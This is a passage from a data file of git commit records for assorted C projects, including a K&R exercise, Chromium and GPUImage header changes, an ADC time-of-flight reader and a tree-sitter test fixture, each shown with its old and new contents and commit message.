{"commit":"b6b91555b9eb2120cc05175aa4ea154135e35bea","old_file":"src\/exercise205.c","new_file":"src\/exercise205.c","old_contents":"","new_contents":"\/*\n * A solution to Exercise 2-5 in The C Programming Language (Second Edition).\n *\n * This file was written by Damien Dart, <damiendart@pobox.com>. This is free\n * and unencumbered software released into the public domain. For more\n * information, please refer to the accompanying \"UNLICENCE\" file.\n *\/\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint32_t any(char *, char *);\n\nint main(void)\n{\n\tchar *test_string_one = \"Gooseberries.\";\n\tchar *test_string_two = \"Kiwis.\";\n\tprintf(\"%d\", any(test_string_one, test_string_two));\n\treturn EXIT_SUCCESS;\n}\n\nint32_t any(char *string_one, char *string_two)\n{\n\tfor (uint32_t i = 0; string_one[i] != '\\0'; i++) {\n\t\tfor (uint32_t j = 0; string_two[j] != '\\0'; j++) {\n\t\t\tif (string_one[i] == string_two[j]) {\n\t\t\t\treturn i;\n\t\t\t}\n    }\n  }\n  return -1;\n}\n","subject":"Add solution to Exercise 2-5.","message":"Add solution to Exercise 2-5.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"9a5e3ffb2268504c98bcba77e44ec18071c52418","old_file":"framework\/Source\/iOS\/GPUImageView.h","new_file":"framework\/Source\/iOS\/GPUImageView.h","old_contents":"#import <UIKit\/UIKit.h>\n#import \"GPUImageContext.h\"\n\ntypedef enum {\n    kGPUImageFillModeStretch,                       \/\/ Stretch to fill the full view, which may distort the image outside of its normal aspect ratio\n    kGPUImageFillModePreserveAspectRatio,           \/\/ Maintains the aspect ratio of the source image, adding bars of the specified background color\n    kGPUImageFillModePreserveAspectRatioAndFill     \/\/ Maintains the aspect ratio of the source image, zooming in on its center to fill the view\n} GPUImageFillModeType; \n\n\/**\n UIView subclass to use as an endpoint for displaying GPUImage outputs\n *\/\n@interface GPUImageView : UIView <GPUImageInput>\n{\n    GPUImageRotationMode inputRotation;\n}\n\n\/** The fill mode dictates how images are fit in the view, with the default being kGPUImageFillModePreserveAspectRatio\n *\/\n@property(readwrite, nonatomic) GPUImageFillModeType fillMode;\n\n\/** This calculates the current display size, in pixels, taking into account Retina scaling factors\n *\/\n@property(readonly, nonatomic) CGSize sizeInPixels;\n\n@property(nonatomic) BOOL enabled;\n\n\/** Handling fill mode\n \n @param redComponent Red component for background color\n @param greenComponent Green component for background color\n @param blueComponent Blue component for background color\n @param alphaComponent Alpha component for background color\n *\/\n- (void)setBackgroundColorRed:(GLfloat)redComponent green:(GLfloat)greenComponent blue:(GLfloat)blueComponent alpha:(GLfloat)alphaComponent;\n\n- (void)setCurrentlyReceivingMonochromeInput:(BOOL)newValue;\n\n@end\n","new_contents":"#import <UIKit\/UIKit.h>\n#import \"GPUImageContext.h\"\n\ntypedef NS_ENUM(NSUInteger, GPUImageFillModeType) {\n    kGPUImageFillModeStretch,                       \/\/ Stretch to fill the full view, which may distort the image outside of its normal aspect ratio\n    kGPUImageFillModePreserveAspectRatio,           \/\/ Maintains the aspect ratio of the source image, adding bars of the specified background color\n    kGPUImageFillModePreserveAspectRatioAndFill     \/\/ Maintains the aspect ratio of the source image, zooming in on its center to fill the view\n};\n\n\n\n\/**\n UIView subclass to use as an endpoint for displaying GPUImage outputs\n *\/\n@interface GPUImageView : UIView <GPUImageInput>\n{\n    GPUImageRotationMode inputRotation;\n}\n\n\/** The fill mode dictates how images are fit in the view, with the default being kGPUImageFillModePreserveAspectRatio\n *\/\n@property(readwrite, nonatomic) GPUImageFillModeType fillMode;\n\n\/** This calculates the current display size, in pixels, taking into account Retina scaling factors\n *\/\n@property(readonly, nonatomic) CGSize sizeInPixels;\n\n@property(nonatomic) BOOL enabled;\n\n\/** Handling fill mode\n \n @param redComponent Red component for background color\n @param greenComponent Green component for background color\n @param blueComponent Blue component for background color\n @param alphaComponent Alpha component for background color\n *\/\n- (void)setBackgroundColorRed:(GLfloat)redComponent green:(GLfloat)greenComponent blue:(GLfloat)blueComponent alpha:(GLfloat)alphaComponent;\n\n- (void)setCurrentlyReceivingMonochromeInput:(BOOL)newValue;\n\n@end\n","subject":"Update GPUImageFillModeType enum to use NS_ENUM","message":"Update GPUImageFillModeType enum to use NS_ENUM\n","lang":"C","license":"bsd-3-clause","repos":"duanhjlt\/GPUImage,duanhjlt\/GPUImage"}
{"commit":"5e943344594d9b670e09e44dadd780e91ddffd5b","old_file":"ui\/aura\/event_filter.h","new_file":"ui\/aura\/event_filter.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_AURA_EVENT_FILTER_H_\n#define UI_AURA_EVENT_FILTER_H_\n#pragma once\n\n#include \"base\/logging.h\"\n#include \"ui\/gfx\/point.h\"\n\nnamespace aura {\n\nclass Window;\nclass MouseEvent;\n\n\/\/ An object that filters events sent to an owner window, potentially performing\n\/\/ adjustments to the window's position, size and z-index.\nclass EventFilter {\n public:\n  explicit EventFilter(Window* owner);\n  virtual ~EventFilter();\n\n  \/\/ Try to handle |event| (before the owner's delegate gets a chance to).\n  \/\/ Returns true if the event was handled by the WindowManager and should not\n  \/\/ be forwarded to the owner's delegate.\n  virtual bool OnMouseEvent(Window* target, MouseEvent* event);\n\n protected:\n  Window* owner() { return owner_; }\n\n private:\n  Window* owner_;\n\n  DISALLOW_COPY_AND_ASSIGN(EventFilter);\n};\n\n}  \/\/ namespace aura\n\n#endif  \/\/ UI_AURA_EVENT_FILTER_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_AURA_EVENT_FILTER_H_\n#define UI_AURA_EVENT_FILTER_H_\n#pragma once\n\n#include \"base\/basictypes.h\"\n\nnamespace aura {\n\nclass Window;\nclass MouseEvent;\n\n\/\/ An object that filters events sent to an owner window, potentially performing\n\/\/ adjustments to the window's position, size and z-index.\nclass EventFilter {\n public:\n  explicit EventFilter(Window* owner);\n  virtual ~EventFilter();\n\n  \/\/ Try to handle |event| (before the owner's delegate gets a chance to).\n  \/\/ Returns true if the event was handled by the WindowManager and should not\n  \/\/ be forwarded to the owner's delegate.\n  virtual bool OnMouseEvent(Window* target, MouseEvent* event);\n\n protected:\n  Window* owner() { return owner_; }\n\n private:\n  Window* owner_;\n\n  DISALLOW_COPY_AND_ASSIGN(EventFilter);\n};\n\n}  \/\/ namespace aura\n\n#endif  \/\/ UI_AURA_EVENT_FILTER_H_\n","subject":"Include basictypes.h for DISALLOW macro.","message":"aura: Include basictypes.h for DISALLOW macro.\n\nR=ben@chromium.org\n\nReview URL: http:\/\/codereview.chromium.org\/7976010\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@101986 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"dushu1203\/chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,timopulkkinen\/BubbleFish,rogerwang\/chromium,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,Chilledheart\/chromium,nacl-webkit\/chrome_deps,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,rogerwang\/chromium,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,Chilledheart\/chromium,zcbenz\/cefode-chromium,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,robclark\/chromium,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,keishi\/chromium,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,Just-D\/chromium-1,timopulkkinen\/BubbleFish,Just-D\/chromium-1,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,keishi\/chromium,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,ondra-novak\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,jaruba\/chromium.src,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,dushu1203\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,Chilledheart\/chromium,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,M4sse\/chromium.src,jaruba\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,dednal\/chromium.src,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,Jonekee\/chromium.src,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,littlstar\/chromium.src,M4sse\/chromium.src,dushu1203\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,ltilve\/chromium,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,keishi\/chromium,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Chilledheart\/chromium,axinging\/chromium-crosswalk,robclark\/chromium,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,robclark\/chromium,robclark\/chromium,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,timopulkkinen\/BubbleFish,robclark\/chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,anirudhSK\/chromium,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,ChromiumWebApps\/chromium,keishi\/chromium,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,robclark\/chromium,ltilve\/chromium,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,ondra-novak\/chromium.src,dushu1203\/chromium.src,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,ltilve\/chromium,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,robclark\/chromium,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,keishi\/chromium,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,hujiajie\/pa-chromium,patrickm\/chromium.src,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,littlstar\/chromium.src,Just-D\/chromium-1,M4sse\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,keishi\/chromium,littlstar\/chromium.src,dednal\/chromium.src,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,hujiajie\/pa-chromium,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,rogerwang\/chromium,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,rogerwang\/chromium,ltilve\/chromium,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,robclark\/chromium,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,keishi\/chromium,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,dednal\/chromium.src,anirudhSK\/chromium,keishi\/chromium,Jonekee\/chromium.src,anirudhSK\/chromium,ltilve\/chromium,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,hujiajie\/pa-chromium,patrickm\/chromium.src,M4sse\/chromium.src,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,rogerwang\/chromium,littlstar\/chromium.src,ltilve\/chromium,hgl888\/chromium-crosswalk,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,keishi\/chromium,keishi\/chromium,rogerwang\/chromium,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,rogerwang\/chromium,mogoweb\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,keishi\/chromium,ChromiumWebApps\/chromium,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,robclark\/chromium,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,dednal\/chromium.src,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,rogerwang\/chromium,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,robclark\/chromium,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,M4sse\/chromium.src"}
{"commit":"706d8d60091b30bc950be8877864f12aed1ab9c0","old_file":"src\/software\/raw-adc-consumer\/main.c","new_file":"src\/software\/raw-adc-consumer\/main.c","old_contents":"\/***************************************************************************************\n * MAIN.C\n *\n * Description: Converts raw ADC reads given via character device to time of flight\n *\n * (C) 2016 Visaoni\n * Licensed under the MIT License.\n **************************************************************************************\/\nint main(void)\n{\n\treturn 0;\n}\n","new_contents":"\/***************************************************************************************\n * MAIN.C\n *\n * Description: Converts raw ADC reads given via character device to time of flight\n *\n * (C) 2016 Visaoni\n * Licensed under the MIT License.\n **************************************************************************************\/\n\n#include <stdint.h>\n#include <stdio.h>\n\/\/#include <unistd.h>\n\/\/#include <string.h>\n#include <fcntl.h>\n#include <sys\/poll.h>\n\n\/\/ TODO: Get these value from a shared source along with the firmware\n#define TIME_BETWEEN_READS_NS    166.7\n#define DELAY_TIME_NS            0\n#define READS_PER_TX             2000\n#define BYTES_PER_READ           2\n\n#define CHARACTER_DEVICE_PATH    \"\/dev\/rpmsg_pru31\"\n#define MAX_BUFFER_SIZE          (BYTES_PER_READ * READS_PER_TX)\n\n\ndouble find_tof( uint16_t reads[] )\n{\n   size_t max = 0;\n   size_t i;\n   for( i = 0; i < READS_PER_TX; i++ )\n   {\n      if( reads[i] > reads[max] )\n      {\n         max = i;\n      }\n   }\n\n   return DELAY_TIME_NS + max * TIME_BETWEEN_READS_NS;\n}\n\nint main(void)\n{\n   uint8_t buffer[ MAX_BUFFER_SIZE ];\n   uint16_t* reads = (uint16_t*)buffer;   \/\/ Assumes little-endian\n\n   struct pollfd pollfds[1];\n\n   pollfds[0].fd = open( CHARACTER_DEVICE_PATH, O_RDWR );\n\n   if( pollfds[0].fd < 0 )\n   {\n      printf( \"Unable to open char device.\" );\n      return -1;\n   }\n\n   \/\/ Firmware needs an initial write to grab metadata\n      \/\/ msg contents irrelevant\n   \/\/ TODO: Should probably handle errors better\n   while( write( pollfds[0].fd, \"s\", 1 ) < 0 )\n   {\n      printf( \"Problem with initial send. Retrying...\" );\n   }\n\n\n   while(1)\n   {\n      \/\/ Grab a whole run and then process\n      \/\/ TODO: Figure out of this is sufficient or if incremental processing is required for performance\n      size_t total_bytes = 0;\n      while( total_bytes < MAX_BUFFER_SIZE )\n      {\n         total_bytes += read( pollfds[0].fd, buffer + total_bytes, MAX_BUFFER_SIZE - total_bytes );\n      }\n\n      \/\/ reads and buffer are aliased\n      double tof = find_tof( reads );\n      printf( \"Time of flight: %d ns\", tof );\n   }\n\n\treturn 0;\n}\n","subject":"Set up basic processing framework","message":"Set up basic processing framework\n\nConstructs read values from character device and passes it through the\nmost basic processing to find time of flight.\n","lang":"C","license":"mit","repos":"thetransformerr\/beagle-sonic,Visaoni\/beagle-sonic-anemometer,thetransformerr\/beagle-sonic,Visaoni\/beagle-sonic-anemometer,thetransformerr\/beagle-sonic,thetransformerr\/beagle-sonic,Visaoni\/beagle-sonic-anemometer"}
{"commit":"087d365eb12943b25fab0f798832b817620be1ee","old_file":"include\/matrix_assignment_impl.h","new_file":"include\/matrix_assignment_impl.h","old_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Assignments\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nmatrix<T>& matrix<T>::operator=(\n    std::initializer_list<std::initializer_list<T>> init_list){\n  data_ = make_vector(init_list);\n  return this;\n}\n\n","new_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Assignments\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nmatrix<T>& matrix<T>::operator=(\n    std::initializer_list<std::initializer_list<T>> init_list){\n  data_ = make_vector(init_list);\n  rows_ = init_list.size();\n  cols_ = (init_list.size() > 0) ? init_list.begin()->size() : 0;\n  return this;\n}\n\n","subject":"Add rows and cols assignment.","message":"Add rows and cols assignment.\n","lang":"C","license":"mit","repos":"actinium\/cppMatrix,actinium\/cppMatrix"}
{"commit":"35b3855a93daf745ccc00c3e2925990b93d28808","old_file":"testmud\/mud\/home\/Game\/sys\/bin\/wiz\/hreboot.c","new_file":"testmud\/mud\/home\/Game\/sys\/bin\/wiz\/hreboot.c","old_contents":"","new_contents":"#include <kotaka\/paths.h>\n#include <game\/paths.h>\n\ninherit LIB_BIN;\n\nvoid main(string args)\n{\n\tobject user;\n\n\tuser = query_user();\n\n\tif (user->query_class() < 3) {\n\t\tsend_out(\"You do not have sufficient access rights to reboot the help system.\\n\");\n\t\treturn;\n\t}\n\n\t\"~Help\/initd\"->full_reset();\n}\n","subject":"Add command to reboot help system","message":"Add command to reboot help system\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"21144972d185d3dfd47cd9641901ba8d34921e84","old_file":"src\/lib\/eina_main.c","new_file":"src\/lib\/eina_main.c","old_contents":"\/* EINA - EFL data type library\n * Copyright (C) 2008 Cedric Bail\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library;\n * if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"Eina.h\"\n\nEAPI int\neina_init(void)\n{\n   int r;\n\n   r = eina_error_init();\n   r += eina_hash_init();\n   r += eina_stringshare_init();\n   r += eina_list_init();\n   r += eina_array_init();\n\n   return r;\n}\n\nEAPI int\neina_shutdown(void)\n{\n   int r;\n\n   eina_array_shutdown();\n   eina_list_shutdown();\n   r = eina_stringshare_shutdown();\n   r += eina_hash_shutdown();\n   r += eina_error_shutdown();\n\n   return r;\n}\n\n","new_contents":"\/* EINA - EFL data type library\n * Copyright (C) 2008 Cedric Bail\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library;\n * if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"eina_error.h\"\n#include \"eina_hash.h\"\n#include \"eina_stringshare.h\"\n#include \"eina_list.h\"\n#include \"eina_array.h\"\n\nEAPI int\neina_init(void)\n{\n   int r;\n\n   r = eina_error_init();\n   r += eina_hash_init();\n   r += eina_stringshare_init();\n   r += eina_list_init();\n   r += eina_array_init();\n\n   return r;\n}\n\nEAPI int\neina_shutdown(void)\n{\n   int r;\n\n   eina_array_shutdown();\n   eina_list_shutdown();\n   r = eina_stringshare_shutdown();\n   r += eina_hash_shutdown();\n   r += eina_error_shutdown();\n\n   return r;\n}\n\n","subject":"Remove warning and only include needed stuff.","message":"Remove warning and only include needed stuff.\n\n\ngit-svn-id: b99a075ee42e317ef7d0e499fd315684e5f6d838@35456 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"lgpl-2.1","repos":"OpenInkpot-archive\/iplinux-eina,jordemort\/eina,OpenInkpot-archive\/iplinux-eina,jordemort\/eina,OpenInkpot-archive\/iplinux-eina,jordemort\/eina"}
{"commit":"e32856d08454650f0aec60409125448a58ed6159","old_file":"src\/bin\/e_error.h","new_file":"src\/bin\/e_error.h","old_contents":"#ifdef E_TYPEDEFS\n\n#define e_error_message_show(args...) \\\n{ \\\n   char __tmpbuf[PATH_MAX]; \\\n \\\n   snprintf(__tmpbuf, sizeof(__tmpbuf), ##args); \\\n   e_error_message_show_internal(__tmpbuf); \\\n}\n\n#else\n#ifndef E_ERROR_H\n#define E_ERROR_H\n\nEAPI void e_error_message_show_internal(char *txt);\n  \n#endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n\n#define e_error_message_show(args...) do \\\n{ \\\n   char __tmpbuf[PATH_MAX]; \\\n \\\n   snprintf(__tmpbuf, sizeof(__tmpbuf), ##args); \\\n   e_error_message_show_internal(__tmpbuf); \\\n} while (0)\n\n#else\n#ifndef E_ERROR_H\n#define E_ERROR_H\n\nEAPI void e_error_message_show_internal(char *txt);\n  \n#endif\n#endif\n","subject":"Fix macro so it can be used as a statement","message":"e: Fix macro so it can be used as a statement\n\nShould fix devilhorn's compile error.\n\nSigned-off-by: Mike McCormack <mj.mccormack@samsung.com>\n\nSVN revision: 61783\n","lang":"C","license":"bsd-2-clause","repos":"rvandegrift\/e,tasn\/enlightenment,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,rvandegrift\/e,rvandegrift\/e,FlorentRevest\/Enlightenment,tasn\/enlightenment"}
{"commit":"c2f7955dca22540cfd1fa995967e0bc08fb92b2b","old_file":"test\/fixtures\/external_scan.c","new_file":"test\/fixtures\/external_scan.c","old_contents":"#include <tree_sitter\/parser.h>\n\nenum {\n  EXTERNAL_A,\n  EXTERNAL_B\n};\n\nvoid *tree_sitter_test_grammar_external_scanner_create() {\n  return NULL;\n}\n\nvoid tree_sitter_test_grammar_external_scanner_destroy(void *payload) {\n}\n\nbool tree_sitter_test_grammar_external_scanner_scan(void *payload, TSLexer *lexer, const bool *valid_symbols) {\n  while (lexer->lookahead == ' ') {\n    lexer->advance(lexer, true);\n  }\n\n  if (lexer->lookahead == 'a') {\n    lexer->advance(lexer, false);\n    lexer->result_symbol = EXTERNAL_A;\n    return true;\n  }\n\n  if (lexer->lookahead == 'b') {\n    lexer->advance(lexer, false);\n    lexer->result_symbol = EXTERNAL_B;\n    return true;\n  }\n\n  return false;\n}\n\nvoid tree_sitter_test_grammar_external_scanner_reset(void *payload) {\n}\n\nbool tree_sitter_test_grammar_external_scanner_serialize(void *payload, TSExternalTokenState state) {\n  return true;\n}\n\nvoid tree_sitter_test_grammar_external_scanner_deserialize(void *payload, TSExternalTokenState state) {\n}\n","new_contents":"#include <tree_sitter\/parser.h>\n\nenum {\n  EXTERNAL_A,\n  EXTERNAL_B\n};\n\nvoid *tree_sitter_test_grammar_external_scanner_create() {\n  return NULL;\n}\n\nvoid tree_sitter_test_grammar_external_scanner_destroy(void *payload) {\n}\n\nbool tree_sitter_test_grammar_external_scanner_scan(void *payload, TSLexer *lexer, const bool *valid_symbols) {\n  while (lexer->lookahead == ' ') {\n    lexer->advance(lexer, true);\n  }\n\n  if (lexer->lookahead == 'a') {\n    lexer->advance(lexer, false);\n    lexer->result_symbol = EXTERNAL_A;\n    return true;\n  }\n\n  if (lexer->lookahead == 'b') {\n    lexer->advance(lexer, false);\n    lexer->result_symbol = EXTERNAL_B;\n    return true;\n  }\n\n  return false;\n}\n\nvoid tree_sitter_test_grammar_external_scanner_reset(void *payload) {\n}\n\nunsigned tree_sitter_test_grammar_external_scanner_serialize(\n  void *payload,\n  char *buffer\n) { return 0; }\n\nvoid tree_sitter_test_grammar_external_scanner_deserialize(\n  void *payload,\n  const char *buffer,\n  unsigned length) {}\n","subject":"Fix signature of fixture external scanner functions","message":"Fix signature of fixture external scanner 